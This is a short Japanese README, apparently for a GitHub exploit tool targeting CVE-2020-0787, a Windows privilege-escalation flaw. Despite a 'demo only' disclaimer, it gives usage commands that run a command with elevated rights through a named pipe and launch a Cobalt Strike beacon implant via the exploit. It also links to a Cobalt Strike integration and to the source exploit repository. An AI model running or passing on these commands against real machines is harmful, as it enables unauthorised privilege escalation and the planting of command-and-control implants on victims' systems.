CVE-2020-0787

CVE-2020-0787（名前付きパイプ）

これは単なるデモです。実際には使用しないでください。

-コマンド実行の結果を取得（cmd /c を使用）： exp.exe "cmd /c whoami > \\\\.\\pipe\\showme " show

• beacon.exe を実行： exp.exe "C:/beacon.exe"

CobaltStrike 向け

これは現在のプロジェクトよりも優れています: https://github.com/yanghaoi/ReflectiveDllSource/tree/master/CVE-2020-0787_CNA

参考

出典: https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION